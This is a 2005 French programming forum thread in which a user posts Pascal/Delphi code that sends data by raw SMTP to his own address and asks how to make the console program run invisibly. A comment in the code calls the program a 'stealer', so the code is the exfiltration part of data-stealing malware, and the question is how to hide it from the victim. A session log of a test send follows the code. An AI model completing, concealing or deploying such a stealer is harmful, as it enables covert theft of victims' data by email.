Mxbug
Messages postés47Date d'inscriptionmercredi 27 avril 2005StatutMembreDernière intervention 9 janvier 2006
-
11 oct. 2005 à 23:25
cs_neko
Messages postés135Date d'inscriptionjeudi 14 août 2003StatutMembreDernière intervention12 octobre 2006
-
13 oct. 2005 à 23:19
Yop
voila j'essaye de cacher une application console , c'est a dire quand on l'execute , il faut qu'elle s'execute mais sans qu'on la voit .
j'ai essayé d'enlever le APPTYPE CONSOLE mais j'ai une erreur :( .
Help
Mxbug
Messages postés47Date d'inscriptionmercredi 27 avril 2005StatutMembreDernière intervention 9 janvier 2006 13 oct. 2005 à 19:39
Yop
bon je me suis pas bien exprimé ,en lisant le code vous comprendrez ma situation :
Procedure Wait(code: char);
Begin
Readln(sin, s);
writeln(s);
If s[1] <> Code Then halt;
End;
Procedure Echo(s: String);
Begin
writeln(s);
writeln(sout, s);
End;
begin
sHost := serveursmtp ; //<---- test avec d'autre host
sFrom := 'test@yahoo.fr';
sTo := mail ;
sCc := 'test@yahoo.fr';
sSubject := 'SendMail';
sBody := str ;
write('call server...');
host := CallServer(sHost, 25);
If host = -1 Then Begin
writeln('not found'); //<---- Evidemment il faut effacé ça,
// tu Enlèves car dans le stealer en ne vois pas la console
exit;
End;
AssignCrtSock(host, sin, sout);
Wait('2');
Echo('HELO ' + sHost);
Wait('2');
Echo('MAIL From:<' + sFrom + '>');
Wait('2');
Echo('RCPT To:<' + sTo + '>'); //--- premier recepteur
Wait('2');
If sCc <> '' Then Begin
Echo('RCPT To:<' + sCc + '>'); //--- deuxième recepteur comme ça tu sera sur de le recevoir
Wait('2');
End;
Echo('DATA');
Wait('3');
Echo('From: ' + sFrom);
Echo('To: ' + sTo);
If sCc <> '' Then Echo('Cc: ' + sCc);
If sType <> '' Then Echo('MIME-Version: 1.0'#13#10'Content-Type: ' + sType + ';'#13#10#9'boundary="' + boundary + '"');
Echo('Subject: ' + sSubject + #13#10);
WriteLn(sout, sBody);
If sType <> '' Then Echo(#13#10'--' + boundary + '--'#13#10);
Echo('.');
Wait('2');
Echo('QUIT');
Wait('2');
Close(Input);
End.
et quand je compile cela donne ceci :
call server...220 mx.laposte.net ESMTP Service (
HELO smtp.laposte.net
250 mx.laposte.net
MAIL From:<test@yahoo.fr>
250 MAIL FROM:<test@yahoo.fr> OK
RCPT To:
250 RCPT TO:<monadresse@laposte.net> OK
RCPT To:<test@yahoo.fr>
250 RCPT TO:<test@yahoo.fr> OK
DATA
354 Start mail input; end with <CRLF>.<CRLF>
From: test@yahoo.fr
To: monadresse@laposte.net
Cc: test@yahoo.fr
Subject: SendMail
.
250 <431C638C01706587> Mail accepted
QUIT
221 mx.laposte.net QUIT
donc voila je voudrais que cela ne se voit passur la console donc , si j'enleve le APPTYPE CONSOLE ca donne une erreur vu qu'il ya des writeln et tout si j'enleve les writeln ca marche pas :s .
je sait plus trop quoi faire :(